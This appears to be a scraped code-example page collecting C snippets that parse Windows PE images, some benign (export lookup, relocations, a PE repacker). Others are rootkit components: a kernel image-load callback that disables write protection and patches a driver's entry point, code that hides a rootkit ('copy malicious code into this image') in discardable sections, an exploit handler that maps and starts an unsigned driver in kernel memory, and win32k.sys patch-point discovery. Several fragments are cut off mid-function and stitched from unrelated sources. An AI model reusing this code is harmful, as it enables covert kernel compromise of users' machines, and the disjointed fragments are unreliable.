Пример #1
0
PCHAR __GetModuleFileName(HMODULE hDllModule)
{
        PIMAGE_DATA_DIRECTORY directory = (PIMAGE_DATA_DIRECTORY) DATADIRECTORY (NTHEADER (hDllModule), IMAGE_DIRECTORY_ENTRY_EXPORT);
        if (directory->Size == 0) return NULL;
        PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY) RVATOVA (hDllModule, directory->VirtualAddress);
        return (PCHAR) RVATOVA(hDllModule, exports->Name);
}
Пример #2
0
PCHAR __GetMemoryFileName(LPVOID pDllFileBase)
{
	PIMAGE_NT_HEADERS nt_headers = NTHEADER (pDllFileBase);
        PIMAGE_DATA_DIRECTORY directory = (PIMAGE_DATA_DIRECTORY) DATADIRECTORY (nt_headers, IMAGE_DIRECTORY_ENTRY_EXPORT);
        if (directory->Size == 0) return NULL;
        PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY) RVATOVA(pDllFileBase, rva_to_raw(nt_headers, directory->VirtualAddress));
        return (PCHAR) RVATOVA(pDllFileBase, rva_to_raw(nt_headers, exports->Name));
}
Пример #3
0
/*
kd> kb
ChildEBP RetAddr  Args to Child              
f8afdaa8 805c62ae f8afdcf0 00000000 f8afdb44 DrvHide!LoadImageNotify+0x10
f8afdac8 805a4159 f8afdcf0 00000000 f8afdb44 nt!PsCallImageNotifyRoutines+0x36
f8afdc6c 80576483 f8afdcf0 00000000 00000000 nt!MmLoadSystemImage+0x9e5
f8afdd4c 8057688f 80000378 00000001 00000000 nt!IopLoadDriver+0x371
f8afdd74 80534c02 80000378 00000000 823c63c8 nt!IopLoadUnloadDriver+0x45
f8afddac 805c6160 b286ecf4 00000000 00000000 nt!ExpWorkerThread+0x100
f8afdddc 80541dd2 80534b02 00000001 00000000 nt!PspSystemThreadStartup+0x34
00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16
*/
VOID LoadImageNotify(
   PUNICODE_STRING FullImageName,
   HANDLE ProcessId, // where image is mapped
   PIMAGE_INFO ImageInfo)
{
    KeWaitForMutexObject(&m_GlobalMutex, Executive, KernelMode, FALSE, NULL);

    // check for kernel driver
    if (ProcessId == 0 && ImageInfo->SystemModeImage && !m_bFreeAreaFound &&
        IsKnownDriver(FullImageName))
    {
        PVOID TargetImageBase = ImageInfo->ImageBase;
        ULONG TargetImageSize = ImageInfo->ImageSize;

        DbgMsg(
            __FILE__, __LINE__, "%d '%wZ' is at "IFMT", size: %d\n", 
            PsGetCurrentProcessId(), FullImageName, TargetImageBase, TargetImageSize
        );
        
        // check for free area at the image discardable sections
        if (m_bFreeAreaFound = CheckForFreeArea(TargetImageBase, &m_FreeAreaRVA, &m_FreeAreaLength))        
        {
            m_FreeAreaVA = RVATOVA(TargetImageBase, m_FreeAreaRVA);

            DbgMsg(__FILE__, __LINE__, "Free area found!\n");

            // hook image entry point
            HookImageEntry(TargetImageBase);
        }
    }

    KeReleaseMutex(&m_GlobalMutex, FALSE);
}
//--------------------------------------------------------------------------------------
void HookImageEntry(PVOID Image)
{
    PIMAGE_NT_HEADERS32 pHeaders = (PIMAGE_NT_HEADERS32)
        ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);

    PUCHAR Entry = (PUCHAR)RVATOVA(Image, pHeaders->OptionalHeader.AddressOfEntryPoint);

    // save original code from image entry point
    memcpy(m_EpOriginalBytes, Entry, EP_PATCH_SIZE);
    m_HookedEntry = (DRIVER_INITIALIZE *)Entry;

    // disable memory write protection
    ClearWp();

#ifdef _X86_

    // patch image entry point
    *(PUCHAR)(Entry + 0) = 0x68;
    *(PVOID*)(Entry + 1) = NewDriverEntry;
    *(PUCHAR)(Entry + 5) = 0xC3;

#else // _X86_

#error __FUNCTION__ is x86 only

#endif // _X86_

    // enable memory write protection
    SetWp();

    DbgMsg( 
        __FUNCTION__"(): Image entry point hooked ("IFMT" -> "IFMT")\n",
        Entry, NewDriverEntry
    );
}
Пример #5
0
//--------------------------------------------------------------------------------------
void HookImageEntry(PVOID Image)
{
    PIMAGE_NT_HEADERS32 pHeaders = (PIMAGE_NT_HEADERS32)
        ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);

    PUCHAR Entry = (PUCHAR)RVATOVA(Image, pHeaders->OptionalHeader.AddressOfEntryPoint);

    // save original code from image entry point
    memcpy(m_EpOriginalBytes, Entry, EP_PATCH_SIZE);
    m_HookedEntry = (DRIVER_INITIALIZE *)Entry;

    // disable memory write protection
    ForEachProcessor(ClearWp, NULL);

    // patch image entry point
    *(PUCHAR)(Entry + 0) = 0x68;
    *(PVOID*)(Entry + 1) = NewDriverEntry;
    *(PUCHAR)(Entry + 5) = 0xC3;

    // enable memory write protection
    ForEachProcessor(SetWp, NULL);

    DbgMsg(
        __FILE__, __LINE__, 
        __FUNCTION__"(): Image entry point hooked ("IFMT" -> "IFMT")\n",
        Entry, NewDriverEntry
    );
}
Пример #6
0
void PerformBaseRelocation(HMODULE hModule, SIZE_T delta)
{
	PIMAGE_NT_HEADERS pNtHeader = NTHEADER(hModule);
	PIMAGE_DATA_DIRECTORY pDirectory = DATADIRECTORY(pNtHeader, IMAGE_DIRECTORY_ENTRY_BASERELOC);

	if (pDirectory->Size > 0) {
		PIMAGE_BASE_RELOCATION relocation = (PIMAGE_BASE_RELOCATION)RVATOVA(hModule, pDirectory->VirtualAddress);
		for (; relocation->VirtualAddress > 0; ) {
			unsigned char *dest = (unsigned char *)RVATOVA(hModule, relocation->VirtualAddress);  
			unsigned short *relInfo = (unsigned short *)((unsigned char *)relocation + IMAGE_SIZEOF_BASE_RELOCATION);
			DWORD i;
			for (i=0; i<((relocation->SizeOfBlock-IMAGE_SIZEOF_BASE_RELOCATION) / 2); i++, relInfo++) {
				DWORD *patchAddrHL;
#ifdef _WIN64
				ULONGLONG *patchAddr64;
#endif
				int type, offset;
				// the upper 4 bits define the type of relocation
				type = *relInfo >> 12;
				// the lower 12 bits define the offset
				offset = *relInfo & 0xfff;
				switch (type)
				{
					case IMAGE_REL_BASED_ABSOLUTE:
						// skip relocation
						break;
					case IMAGE_REL_BASED_HIGHLOW:
						// change complete 32 bit address
						patchAddrHL = (DWORD *) (dest + offset);
						*patchAddrHL += delta;
						break;
#ifdef _WIN64
					case IMAGE_REL_BASED_DIR64:
						patchAddr64 = (ULONGLONG *) (dest + offset);
						*patchAddr64 += delta;
						break;
#endif
					default:
						//printf("Unknown relocation: %d\n", type);
						break;
				}
			}
			// advance to next relocation block
			relocation = (PIMAGE_BASE_RELOCATION) (((char *) relocation) + relocation->SizeOfBlock);
		}
	}
Пример #7
0
DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT)
{
    PIMAGE_FILE_HEADER		pFH;
    PIMAGE_OPTIONAL_HEADER	pOH;
    PIMAGE_SECTION_HEADER   pSH;
    PIMAGE_BASE_RELOCATION  pBR;
    PIMAGE_FIXUP_ENTRY		pFE;

    DWORD	dwFixups=0,i;
    DWORD	dwPointerRva;
    DWORD	dwPointsToRva;
    DWORD	dwKiServiceTable;
    BOOL    bFirstChunk;

    if( !GetHeaders((PCHAR)hModule,&pFH,&pOH,&pSH) )
        return NULL;

    if( (pOH->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&
            !((pFH->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED) ) {

        pBR = (PIMAGE_BASE_RELOCATION) RVATOVA(pOH->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);

        bFirstChunk = true;

        while( bFirstChunk || pBR->VirtualAddress ) {

            bFirstChunk = false;
            pFE = (PIMAGE_FIXUP_ENTRY)((DWORD)pBR + sizeof(IMAGE_BASE_RELOCATION));

            for( i=0; i < (pBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))>>1; i++,pFE++ ) {
                if( pFE->type == IMAGE_REL_BASED_HIGHLOW ) {
                    dwFixups++;
                    dwPointerRva  = pBR->VirtualAddress + pFE->offset;
                    dwPointsToRva = *(PDWORD)((DWORD)hModule + dwPointerRva) - (DWORD)pOH->ImageBase;

                    if( dwPointsToRva == dwKSDT ) {
                        if( *(PWORD)((DWORD)hModule + dwPointerRva - 2) == 0x05c7 ) {
                            dwKiServiceTable = *(PDWORD)((DWORD)hModule + dwPointerRva + 4) - pOH->ImageBase;
                            return dwKiServiceTable;
                        }
                    }
                }
            }
            *(PDWORD)&pBR += pBR->SizeOfBlock;
        }
    }

    return NULL;
}
Пример #8
0
//--------------------------------------------------------------------------------------
PVOID RuntimeGetExportAddress(PVOID Image, char *lpszFunctionName)
{
    PIMAGE_EXPORT_DIRECTORY pExport = NULL;

    PIMAGE_NT_HEADERS32 pHeaders32 = (PIMAGE_NT_HEADERS32)
        ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);

    if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_I386)
    {
        // 32-bit image
        if (pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
        {
            pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(Image,
                pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
        }                        
    }        
    else if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)
    {
        // 64-bit image
        PIMAGE_NT_HEADERS64 pHeaders64 = (PIMAGE_NT_HEADERS64)
            ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);

        if (pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
        {
            pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(Image,
                pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
        }
    }
    else
    {
        return NULL;
    }

    if (pExport)
    {
        PULONG AddressOfFunctions = (PULONG)RVATOVA(Image, pExport->AddressOfFunctions);
        PSHORT AddrOfOrdinals = (PSHORT)RVATOVA(Image, pExport->AddressOfNameOrdinals);
        PULONG AddressOfNames = (PULONG)RVATOVA(Image, pExport->AddressOfNames);

        // enumerate exports
        for (ULONG i = 0; i < pExport->NumberOfFunctions; i++)
        {
            if (!my_strcmp((char *)RVATOVA(Image, AddressOfNames[i]), lpszFunctionName))
            {
                return RVATOVA(Image, AddressOfFunctions[AddrOfOrdinals[i]]);
            }
        }
    }        

    return NULL;
}
Пример #9
0
static void* get_section_raw(void* file_base, const char* section_name)
{
	if (file_base)
	{
		PIMAGE_SECTION_HEADER aim_section = get_spectial_section_byname(file_base, section_name);
		if (aim_section)
		{
			if (aim_section->PointerToRawData)
			{
				return (void*)RVATOVA(file_base, aim_section->PointerToRawData);
			}
		}
	}
	return (NULL);
}
Пример #10
0
static void* get_section(void* pe_base, const char* section_name)
{
	if (pe_base)
	{
		PIMAGE_SECTION_HEADER aim_section = get_spectial_section_byname(pe_base, section_name);
		if (aim_section)
		{
			if (aim_section->VirtualAddress)
			{
				return (void*)RVATOVA(pe_base, aim_section->VirtualAddress);
			}
		}
	}
	return (NULL);
}
VOID LoadImageNotify(
   PUNICODE_STRING FullImageName,
   HANDLE ProcessId, // where image is mapped
   PIMAGE_INFO ImageInfo)
{
    if (m_FreeAreaFound)
    {
        return;
    }

    // check for kernel driver
    if (ProcessId == 0 && ImageInfo->SystemModeImage)
    {        
        BOOLEAN bImageFound = FALSE;
        PVOID TargetImageBase = ImageInfo->ImageBase;
        ULONG TargetImageSize = ImageInfo->ImageSize;

        DbgMsg(
            __FUNCTION__"(): '%wZ' is at "IFMT", size=%d\n", 
            FullImageName, TargetImageBase, TargetImageSize
        );

        // check for the known image
        for (ULONG i = 0; i < sizeof(m_Images) / sizeof(PWSTR); i++)
        {
            UNICODE_STRING usName;
            RtlInitUnicodeString(&usName, m_Images[i]);

            if (EqualUnicodeString_r(FullImageName, &usName, TRUE))
            {
                bImageFound = TRUE;
                break;
            }
        }

        if (bImageFound)
        {
            // check for the free space in image discardable sections
            ULONG FreeAreaRVA = 0, FreeAreaLength = 0;
            if (CheckForFreeArea(TargetImageBase, &FreeAreaRVA, &FreeAreaLength))
            {
                // copy malicious code into this image
                m_FreeAreaFound = RVATOVA(TargetImageBase, FreeAreaRVA);
                HookImageEntry(TargetImageBase);
            }
        }        
    }
}
Пример #12
0
static void* get_section(void* pe_base, const char* section_name)
{
	if ((pe_base) && (section_name))
	{
		PIMAGE_SECTION_HEADER aim_section = get_spectial_section_byname(pe_base, section_name);
		if (aim_section)
		{
			if (aim_section->VirtualAddress)
			{
				return (void*)RVATOVA(pe_base, aim_section->VirtualAddress);
			}
		}
	}

	DbgPrint("can't get_section from \"%x\"'s %s", pe_base, section_name);
	return (NULL);
}
Пример #13
0
void* make_repack_app(const char* ori_name, const char* app_file, const void* launch_exe, long launch_size, long* repack_size, int cover_repack)
{
	assert(ori_name);
	assert(app_file);
	assert(launch_exe);

	//读取原始被打包文件
	DbgPrint("src filename: %s", app_file);

	long  app_file_size;
	void* app_file_base = get_ori_app_from_file(app_file, &app_file_size, cover_repack);

	if (app_file_base == NULL)
	{
		DbgPrint("get app file error, by pass");
		return (NULL);
	}

	//将“原始应用”打包成一个节段,塞入pe模版文件中。
	long output_file_size;
	char* output_file_base = append_section_mainpe(launch_exe, launch_size, &output_file_size, ORIGIN_APP_SECTION_NAME, app_file_base, app_file_size);

	if (output_file_base == NULL)
	{
		DbgPrint("make mainpe error");
		return (NULL);
	}

	//修正package节段的信息
	PIMAGE_SECTION_HEADER p_section = get_spectial_section_byname(output_file_base, PACKAGE_SECTION_NAME);

	if (p_section == NULL)
	{
		DbgPrint("repack get section error");
		return (NULL);
	}

	PACKAGE* package = (PACKAGE*)RVATOVA(output_file_base, p_section->PointerToRawData);
	package->repack_whoami_index = find_repack_index(package, ori_name);

	//输出结果
	*repack_size = output_file_size;
	return (output_file_base);
}
Пример #14
0
void* get_ori_app_from_file(const char* app_file, long* app_file_size, int cover_repack)
{
	long  ori_file_size;
	void* ori_file_base = mem_from_file(app_file, &ori_file_size, 0);

	if (ori_file_base == NULL)
	{
		DbgPrint("read file error, by pass");
		return (NULL);
	}

	//判断:如果打包过,则忽略
	if (is_section_exists(ori_file_base, PACKAGE_SECTION_NAME))
	{
		if (cover_repack)
		{
			DbgPrint("has been packed, only get \"STOREAPP\"");
			PIMAGE_SECTION_HEADER s_storepe = get_spectial_section_byname(ori_file_base, ORIGIN_APP_SECTION_NAME);

			if (s_storepe)
			{
				void* storepe_base = (void*)RVATOVA(ori_file_base, s_storepe->PointerToRawData);
				long  storepe_size = s_storepe->Misc.VirtualSize;

				void* result_mem = malloc(storepe_size);
				memcpy(result_mem, storepe_base, storepe_size);

				free(ori_file_base);
				*app_file_size = storepe_size;
				return (result_mem);
			}

			DbgPrint("get \"STOREAPP\" section error!");
		}

		DbgPrint("has been packed, by pass");
		free(ori_file_base);
		return (NULL);
	}

	*app_file_size = ori_file_size;
	return (ori_file_base);
}
Пример #15
0
void* make_launch(PACKAGE* package, long* launch_size)
{
	void* stub_base = (void*)PACKAGE(package->stub_exe);
	long stub_size = package->stub_exe.length;

	assert(stub_base);
	assert(stub_size);

	long section_va;
	long section_raw;
	append_section_try(stub_base, &section_va, &section_raw);

	long output_size;
	void* launch_exe = append_section(stub_base, stub_size, &output_size, PACKAGE_SECTION_NAME, package, package->size);

	PACKAGE* package_out = (PACKAGE*)RVATOVA(launch_exe, section_raw);
	package_out->repack_whoami_index = -1;

	*launch_size = output_size;
	return (launch_exe);
}
BOOL AnalyseWin32k(PDWORD poffset_UserInitialize, PDWORD poffset_bInitializeEUDC_patch)
{
    DWORD offset_UserInitialize = 0;
    DWORD offset_bInitializeEUDC_patch = 0;

    char szPath[MAX_PATH];
    GetSystemDirectory(szPath, MAX_PATH);
    strcat_s(szPath, MAX_PATH, "\\win32k.sys");

    HMODULE hMod = LoadLibraryEx(szPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (hMod)
    {
        PIMAGE_NT_HEADERS32 pHeaders32 = (PIMAGE_NT_HEADERS32)
            ((PUCHAR)hMod + ((PIMAGE_DOS_HEADER)hMod)->e_lfanew);
        
        PIMAGE_SECTION_HEADER pSection = NULL, pCodeSection = NULL;
        PIMAGE_BASE_RELOCATION pRelocation = NULL;
        ULONG RelocationSize = 0, NumberOfSections = 0;        
        ULONGLONG OldBase = 0;

        if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_I386)
        {
            // 32-bit image
            if (pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)
            {
                pRelocation = (PIMAGE_BASE_RELOCATION)RVATOVA(
                    hMod,
                    pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
                );

                RelocationSize = pHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
            }

            OldBase = (ULONGLONG)pHeaders32->OptionalHeader.ImageBase;
            NumberOfSections = pHeaders32->FileHeader.NumberOfSections;           

            pSection = (PIMAGE_SECTION_HEADER)
                (pHeaders32->FileHeader.SizeOfOptionalHeader + 
                (PUCHAR)&pHeaders32->OptionalHeader);            
        }        
        else if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)
        {
            // 64-bit image
            PIMAGE_NT_HEADERS64 pHeaders64 = (PIMAGE_NT_HEADERS64)
                ((PUCHAR)hMod + ((PIMAGE_DOS_HEADER)hMod)->e_lfanew);

            if (pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)
            {
                pRelocation = (PIMAGE_BASE_RELOCATION)RVATOVA(
                    hMod,
                    pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
                );

                RelocationSize = pHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
            }

            OldBase = pHeaders64->OptionalHeader.ImageBase;
            NumberOfSections = pHeaders64->FileHeader.NumberOfSections;

            pSection = (PIMAGE_SECTION_HEADER)
                (pHeaders64->FileHeader.SizeOfOptionalHeader + 
                (PUCHAR)&pHeaders64->OptionalHeader);
        }
        else
        {
            DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Unkown machine type\n");
            FreeLibrary(hMod);
            return FALSE;
        }

        // enumerate image sections        
        for (ULONG i = 0; i < NumberOfSections; i++)
        {
            // find section, that contains global variable
            if (!strncmp((char *)&pSection->Name, ".text", 5))
            {                
                pCodeSection = pSection;
                break;
            }

            pSection += 1;
        }

        if (pRelocation && pCodeSection)
        {
            // parse image relocation table
            ULONG Size = 0;
            while (RelocationSize > Size && pRelocation->SizeOfBlock)
            {            
                ULONG Number = (pRelocation->SizeOfBlock - 8) / 2;
                PUSHORT Rel = (PUSHORT)((PUCHAR)pRelocation + 8);            

                for (ULONG i = 0; i < Number; i++)
                {
                    if (Rel[i] > 0)
                    {
                        USHORT Type = (Rel[i] & 0xF000) >> 12;
                        ULONG Rva = 0;
                        PVOID *Va = NULL;

                        // get address of global variable that used by our instruction
                        if (Type == IMAGE_REL_BASED_HIGHLOW ||
                            Type == IMAGE_REL_BASED_DIR64)
                        {
                            Rva = pRelocation->VirtualAddress + (Rel[i] & 0x0FFF);
                            Va = (PVOID *)RVATOVA(hMod, Rva);
                        }
                        else
                        {
                            DbgMsg(__FILE__, __LINE__, __FUNCTION__ "() ERROR: Unknown relocation type (%d)\n", Type);
                        }

                        if (Va && Rva > 0 &&
                            Rva > pCodeSection->VirtualAddress &&
                            Rva < pCodeSection->VirtualAddress + pCodeSection->Misc.VirtualSize)
                        {         
                            // get address of global variable, that requre fixup
                            PVOID VarAddr = *Va;
                            VarAddr = (PVOID)((ULONGLONG)VarAddr - OldBase + (PUCHAR)hMod);

                            if (!IsBadStringPtrW((LPWSTR)VarAddr, MAX_PATH))
                            {
                                if (!wcscmp((LPWSTR)VarAddr, WIN32K_STR_1))
                                {
                                    DbgMsg(
                                        __FILE__, __LINE__, 
                                        __FUNCTION__"(): \"%ws\" referenced at offset 0x%.8x\n", 
                                        WIN32K_STR_1, Rva
                                    );

                                    // lookup for stdcall prolog of win32k!UserInitialize()
                                    for (DWORD i = 0; i < 50; i++)
                                    {
                                        if (!memcmp(
                                            (PUCHAR)Va - i, 
                                            WIN32K_STDCALL_PROLOG,
                                            WIN32K_STDCALL_PROLOG_LEN))
                                        {
                                            if (offset_UserInitialize > 0)
                                            {
                                                DbgMsg(
                                                    __FILE__, __LINE__, 
                                                    __FUNCTION__"() ERROR: multipile heuristic matches for win32k!UserInitialize()\n"
                                                );

                                                FreeLibrary(hMod);
                                                return FALSE;
                                            }

                                            offset_UserInitialize = Rva - i;

                                            DbgMsg(
                                                __FILE__, __LINE__, 
                                                __FUNCTION__"(): win32k!UserInitialize() found at offset 0x%.8x\n", 
                                                offset_UserInitialize
                                            );

                                            break;
                                        }
                                    }
                                }
                                else if (!wcscmp((LPWSTR)VarAddr, WIN32K_STR_2))
                                {
                                    DbgMsg(
                                        __FILE__, __LINE__, 
                                        __FUNCTION__"(): \"%ws\" referenced at offset 0x%.8x\n", 
                                        WIN32K_STR_2, Rva
                                    );

                                    /*
                                        Check for the following code in win32k!bInitializeEUDC():

                                        mov     ?SharedQueryTable@@A.Name, offset aFontlinkdefaul ; "FontLinkDefaultChar"
                                        mov     ?SharedQueryTable@@A.EntryContext, eax
                                        call    edi ; RtlQueryRegistryValues(x,x,x,x,x)
                                        test    eax, eax
                                        jge     short loc_BF80525F

                                    */
                                    LONG InstPtr = -6;
                                    PUCHAR pInst = (PUCHAR)Va;                                    

                                    if (*(PUSHORT)(pInst + InstPtr) == 0x05c7)
                                    {
                                        // disassemble next 5 instructions
                                        for (DWORD i = 0; i < 5; i++)
                                        {
                                            LONG InstLen = (LONG)c_Catchy(pInst + InstPtr);
                                            if (InstLen == (LONG)CATCHY_ERROR)
                                            {
                                                DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: c_Catchy() fails\n");
                                                FreeLibrary(hMod);
                                                return FALSE;
                                            }

                                            InstPtr += InstLen;

                                            // check for call edi / test eax, eax
                                            if (*(PUSHORT)(pInst + InstPtr + 0) == 0xd7ff &&
                                                *(PUSHORT)(pInst + InstPtr + 2) == 0xc085)
                                            {
                                                if (offset_bInitializeEUDC_patch > 0)
                                                {
                                                    DbgMsg(
                                                        __FILE__, __LINE__, 
                                                        __FUNCTION__"() ERROR: multipile heuristic matches for win32k!bInitializeEUDC()\n"
                                                    );

                                                    FreeLibrary(hMod);
                                                    return FALSE;
                                                }

                                                offset_bInitializeEUDC_patch = Rva + InstPtr;

                                                DbgMsg(
                                                    __FILE__, __LINE__, 
                                                    __FUNCTION__"(): win32k!bInitializeEUDC() CALL EDI found at offset 0x%.8x\n", 
                                                    offset_bInitializeEUDC_patch
                                                );

                                                break;
                                            }                                            
                                        }
                                    }
                                }
                            }
                        }                        
                    }
                }

                pRelocation = (PIMAGE_BASE_RELOCATION)((PUCHAR)pRelocation + pRelocation->SizeOfBlock);
                Size += pRelocation->SizeOfBlock;
            }
        }
//--------------------------------------------------------------------------------------
BOOLEAN CheckForFreeArea(PVOID Image, PULONG FreeAreaRVA, PULONG FreeAreaLength)
{
    *FreeAreaRVA = NULL;
    *FreeAreaLength = 0;

    PIMAGE_NT_HEADERS32 pHeaders = (PIMAGE_NT_HEADERS32)
        ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);

    PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)
        (pHeaders->FileHeader.SizeOfOptionalHeader + 
        (PUCHAR)&pHeaders->OptionalHeader);

    ULONG AreaRVA = NULL;
    ULONG AreaLength = 0;

    // enumerate image sections
    for (ULONG i = 0; i < pHeaders->FileHeader.NumberOfSections; i++)
    {            
        PVOID SectionVa = RVATOVA(Image, pSection->VirtualAddress);
        char szSectionName[IMAGE_SIZEOF_SHORT_NAME + 1];

        // check for discardable attribute
        if ((pSection->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) &&
            my_strcmp(szSectionName, "INIT"))
        {            
            if (AreaRVA && pSection->VirtualAddress == AreaRVA + AreaLength)
            {
                // concatenate with the previously found section
                AreaLength += MY_ALIGN_UP(pSection->Misc.VirtualSize, pHeaders->OptionalHeader.SectionAlignment);
            }
            else
            {
                AreaRVA = pSection->VirtualAddress;
                AreaLength = MY_ALIGN_UP(pSection->Misc.VirtualSize, pHeaders->OptionalHeader.SectionAlignment);
            }            
        }

        pSection += 1;
    }

    if (AreaLength >= m_RkSize)
    {
        DbgMsg("%d free bytes at 0x%.8x\n", AreaLength, AreaRVA);

        *FreeAreaRVA = AreaRVA;
        *FreeAreaLength = AreaLength;

        pSection = (PIMAGE_SECTION_HEADER)
            (pHeaders->FileHeader.SizeOfOptionalHeader + 
            (PUCHAR)&pHeaders->OptionalHeader);

        // erase discardable flag
        for (ULONG i = 0; i < pHeaders->FileHeader.NumberOfSections; i++)
        {
            pSection->Characteristics &= ~IMAGE_SCN_MEM_DISCARDABLE;
            pSection += 1;
        }

        return TRUE;
    }    

    return FALSE;
}
Пример #18
0
//--------------------------------------------------------------------------------------
void kernel_expl_handler(void *context)
{
    PKERNEL_EXPL_CONTEXT pContext = (PKERNEL_EXPL_CONTEXT)context;

    PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)RVATOVA(
        pContext->Data, 
        ((PIMAGE_DOS_HEADER)pContext->Data)->e_lfanew
    );    

    // allocate memory for driver image
    DWORD dwImageSize = pHeaders->OptionalHeader.SizeOfImage;
    PUCHAR pImage = (PUCHAR)pContext->f_ExAllocatePool(NonPagedPool, dwImageSize);
    if (pImage)
    {
        PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)
            RVATOVA(&pHeaders->OptionalHeader, pHeaders->FileHeader.SizeOfOptionalHeader);

        // copy image headers
        memset(pImage, 0, dwImageSize);
        memcpy(pImage, pContext->Data, pHeaders->OptionalHeader.SizeOfHeaders);

        // copy sections        
        for (DWORD i = 0; i < pHeaders->FileHeader.NumberOfSections; i++)
        {
            memcpy(
                RVATOVA(pImage, pSection->VirtualAddress),
                RVATOVA(pContext->Data, pSection->PointerToRawData),
                min(pSection->SizeOfRawData, pSection->Misc.VirtualSize)
            );

            pSection += 1;
        }        

        // process image relocations
        if (!LdrProcessRelocs(pImage, pImage))
        {
            goto end;
        }

        char szExport_1[] = { 'm', '_', 'K', 'e', 'r', 'n', 'e', 'l', '\0' };
        char szExport_2[] = { 'm', '_', 'D', 'r', 'i', 'v', 'e', 'r', '\0' };

        PVOID *KernelBase = (PVOID *)LdrGetProcAddress(pImage, szExport_1);
        if (KernelBase)
        {
            // tell the kernel image base to the driver
            *KernelBase = pContext->KernelBase;
        }

        PVOID *DriverBase = (PVOID *)LdrGetProcAddress(pImage, szExport_2);
        if (DriverBase)
        {
            // tell the actual image base to the driver
            *DriverBase = pImage;
        }

        typedef NTSTATUS (NTAPI * DRIVER_ENTRY)(
            PVOID DriverObject,
            PUNICODE_STRING RegistryPath
        );        

        // get driver entry point address
        DRIVER_ENTRY Entry = (DRIVER_ENTRY)RVATOVA(
            pImage,
            pHeaders->OptionalHeader.AddressOfEntryPoint
        );        

        // call driver entry point
        if ((pContext->Status = (NTSTATUS)pContext->f_IoCreateDriver(NULL, Entry)) == STATUS_SUCCESS)
        {
            pContext->Addr = pImage;

            // success
            return;
        }        
end:
        pContext->f_ExFreePoolWithTag(pImage, 0);
    }
}
Пример #19
0
//--------------------------------------------------------------------------------------
BOOLEAN CheckForFreeArea(PVOID Image, PULONG FreeAreaRVA, PULONG FreeAreaLength)
{
    *FreeAreaRVA = NULL;
    *FreeAreaLength = 0;

    PIMAGE_NT_HEADERS32 pHeaders = (PIMAGE_NT_HEADERS32)
        ((PUCHAR)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);

    PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)
        (pHeaders->FileHeader.SizeOfOptionalHeader + 
        (PUCHAR)&pHeaders->OptionalHeader);

    ULONG AreaRVA = NULL;
    ULONG AreaLength = 0;

    // enumerate image sections
    for (ULONG i = 0; i < pHeaders->FileHeader.NumberOfSections; i++)
    {            
        PVOID SectionVa = RVATOVA(Image, pSection->VirtualAddress);
        char szSectionName[IMAGE_SIZEOF_SHORT_NAME + 1];
        RtlZeroMemory(szSectionName, sizeof(szSectionName));
        RtlCopyMemory(szSectionName, &pSection->Name, IMAGE_SIZEOF_SHORT_NAME);

        // print section information
        DbgMsg(
            __FILE__, __LINE__, "%8s: "IFMT", %8d bytes %s\n", 
            szSectionName, SectionVa, pSection->Misc.VirtualSize,
            (pSection->Characteristics & IMAGE_SCN_MEM_DISCARDABLE)?"Discardabe":""
        );

        // check for discardable attribute
        if ((pSection->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) &&
            strcmp(szSectionName, "INIT"))
        {            
            if (AreaRVA && pSection->VirtualAddress == AreaRVA + AreaLength)
            {
                // concatenate with the previously found section
                AreaLength += XALIGN_UP(pSection->Misc.VirtualSize, pHeaders->OptionalHeader.SectionAlignment);
            }
            else
            {
                AreaRVA = pSection->VirtualAddress;
                AreaLength = XALIGN_UP(pSection->Misc.VirtualSize, pHeaders->OptionalHeader.SectionAlignment);
            }            
        }

        pSection += 1;
    }

    DbgMsg(
        __FILE__, __LINE__, 
        "%d bytes of the free space has been found at RVA 0x%.8x\n", 
